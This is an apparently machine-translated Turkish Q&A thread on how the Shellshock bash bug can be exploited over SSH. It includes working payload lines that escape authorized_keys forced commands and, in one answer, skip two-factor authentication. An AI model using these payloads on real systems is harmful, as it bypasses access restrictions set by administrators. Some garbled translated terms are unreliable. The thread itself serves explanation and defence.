SSH üzerinde mermi vuruşu nasıl kullanılabilir?


68

Görünüşe göre, Cells-2014-6271'deki istismar Bash'in sömürdüğü şebeke üzerinden SSH ile yararlanılabilir. Açıklamanın Apache / CGI üzerinden nasıl çalışacağını hayal edebiliyorum, ancak bunun SSH üzerinde nasıl çalışacağını hayal edemiyorum.

Birisi lütfen SSH'nin nasıl kullanılacağına ve sisteme ne zarar verebileceğine dair bir örnek verebilir mi?

AÇIKLAMA

AFAIU, yalnızca kimliği doğrulanmış bir kullanıcı, bu güvenlik açığından SSH üzerinden yararlanabilir. Bu istismar, sisteme meşru erişimi olan biri için ne işe yarar ki? Demek istediğim, bu istismarın ayrıcalıklı yükselişi yok (kökleşemez), bu yüzden sadece SSH yoluyla meşru bir şekilde giriş yaptıktan sonra yapabileceğinden fazlasını yapamaz.


Basitçe söylemek gerekirse, birisi sizin kutunuza zaten erişmediyse yapılamaz. Yeni bir bash kabuğu yalnızca başarılı bir giriş denemesinden sonra yürütülür.
Evert

Bunların hepsi medya yutturmaca, olabilir, ancak olması gerektiği kadar kötü değil.
jgr208

Kullanıcı isimleri kayıtlara yazılır mı? Eğer evet ise, belki bir yerde savunmasız olan logparsing bash betiği vardır ...
PlasmaHH

1
@PlasmaHH Eğer günlük ayrıştırma komut dosyanızı root olarak çalıştırırsanız, ne elde ettiğinizi hak etmiş olursunuz.
Barmar

@Barmar: Bunun yanı sıra, sorunun kök erişimini sağlamak için değil, makineye erişim (örneğin, onu tahrif etmek veya başka zararlar vermek için gerekli olan her şey olabilir) yanında, kod çalıştırabileceğiniz zaman, olasılıklar da olabilir. Size kök kazandıran başka bir şeyden yararlanan kodları çalıştırın.
PlasmaHH

Yanıtlar:


79

Bunun istismar edilebileceği bir örnek, authorized_keyszorunlu bir komutu olan sunuculardadır . Bir giriş eklerken , ssh public anahtarının kullanıldığı herhangi bir zamanda çalıştırılmaya zorlamak için ~/.ssh/authorized_keyssatırın önekini ekleyebilirsiniz . Bu istismarla, hedef kullanıcının kabuğuna ayarlanmışsa , zorla çalıştırdıkları komuttan başka şeyler çalıştırmak için istismardan yararlanabilirler.command="foo"foobash

Bu muhtemelen örnek olarak daha anlamlı olur, bu yüzden burada bir örnek:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Burada testuser, çalıştırmak için ssh anahtarınızı kullanarak herhangi bir ssh bağlantısını zorlayan bir kullanıcı ayarladık echo starting sleep; sleep 1.

Bunu şu şekilde test edebiliriz:

$ ssh testuser@localhost echo something else
starting sleep

Bizim nasıl kaçamayacağımıza dikkat edin echo something else, ama starting sleepzorunlu komutun çalıştığını gösterir.

Şimdi bu istismarın nasıl kullanılabileceğini gösterelim:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Bu sshd, SSH_ORIGINAL_COMMANDortam değişkenini iletilen komuta ayarladığı için çalışır . Bu yüzden sshdkoştum bile sleep, söylediğim komutu kullanmamam, kötüye kullanım yüzünden kodum hala çalıştırılıyor.


1
bunun yerine şunu deneyin: ssh testuser@localhost echo something else '`whoami`' Komutun nerede yürütüldüğünü kanıtlamak için
Richard

1
Bu cevaba, SSH açısından, istismarın yalnızca yetkili bir anahtarı olan yetkili bir kullanıcının (yetkili bir anahtarın uzun bir şifre olarak düşünülebileceği) yetkili bir komut vermesine izin vermeyeceğini eklerdim. Bu yetkili anahtarı olmayan birinin hiçbir şey yapmasına izin vermez. SSH'yi iyi bir şekilde anlamadıysanız ve onaylanmış anahtarın anlamını bilmiyorsanız bunun cevabından net olduğunu sanmıyorum.
Chris Dragon,

@ skrewler Bu genellikle bir şeyi yanlış yorumladığınızın iyi bir işaretidir. Örneğin, cevap testçiye bir yönetici tarafından sağlanan hesap kurulumuna nasıl verilip verilmediğini, testöre verilen kısıtlamalardan nasıl kurtulabileceğini açıklıyor. Ve hayır, bash ile hiçbir ilgisi olmuyorsa, mermi kovanını kullanabilirsin. Yalnızca bash izinlerle çalışıyorsa, kullanıcı normalde sahip olmaz, ancak kullanıcının bu bash ortam değişkenleri üzerinde etkisi vardır.
Patrick

Tamam, şimdi göstermeye çalıştığınız şeyi alıyorum - test kullanıcısını .authorized_keys komutunda oturum açan bir kabukla sınırlayan bir kurulum. Zaten kabuk erişiminiz varken bir komut uygulayan bir girdi olan kendi .authorized_keys dizini düzenlemek bana hiç mantıklı gelmedi (bu ayrıcalık yürütme sağlayamayacağından) düzenleme: silinmiş yorum, düzeltilmiş duruyorum.
skrewler

26

Ramesh örneğindeki örneğe göre genişletmek - iki faktörlü kimlik doğrulaması kullanıyorsanız, bu açıklamayı kullanarak ikinci faktörü nasıl uygulandığına bağlı olarak atlamak mümkündür.

- Normal Giriş -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- 2FA'sız kod çalıştırma -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FA sormadan kodu çalıştırdığını fark edeceksiniz.

- Yamayı okuduktan sonra -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
Sadece ikinci faktörü kullanan nihai okuyucuların panik sınırını sınırlamak için: "nasıl uygulandığına bağlı olarak" - Sanırım burada ikinci faktörün bash olarak uygulandığını veya readişlevini kullandığını varsaydınız . Aksi takdirde - kullanıcı güvenlidir.
Grzegorz Wierzowiecki

25

Shellshock, SSH'de değil, bash üzerindeki bir güvenlik açığıdır. Bir saldırganın bundan yararlanabilmesi için savunmasız sistemin bash yapmasına neden olması ve bash'a geçirilecek olan bir ortam değişkeninin değerini kontrol etmesi gerekir.

SSH üzerinden bir bash işlemine ulaşmak için saldırganın kimlik doğrulama adımlarını geçmesi gerekir. (Diğer ağ servisleri aracılığıyla saldırı vektörleri olabilir, ancak bu konunun kapsamı dışındadırlar.) Hesabın herhangi bir şekilde kabuk komutları çalıştırmasına izin verilirse, herhangi bir saldırı yapılmaz. Güvenlik açığı, hesabın belirli komutları çalıştırmasıyla sınırlıysa ortaya çıkar: örneğin, yalnızca bir SFTP hesabı veya yalnızca bir hesap, vb.

Bir hesabı SSH ile belirli bir komutu çalıştırmak için sınırlandırmanın birkaç yolu vardır: ForceCommandseçeneğin içinde sshd_configveya a ile command=. authorized_keysdosyadaki kısıtlama . Kullanıcının kabuğu kısaltılmışsa, Shellshock güvenlik açığı, normalde kısıtlamayı atlamak ve rastgele komutları uygulamak için yalnızca sınırlı hesaba erişebilecek bir kullanıcıya izin verir.


Ve bu, diğer mermiler için işe yaramaz zsh.
Eir Nym
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.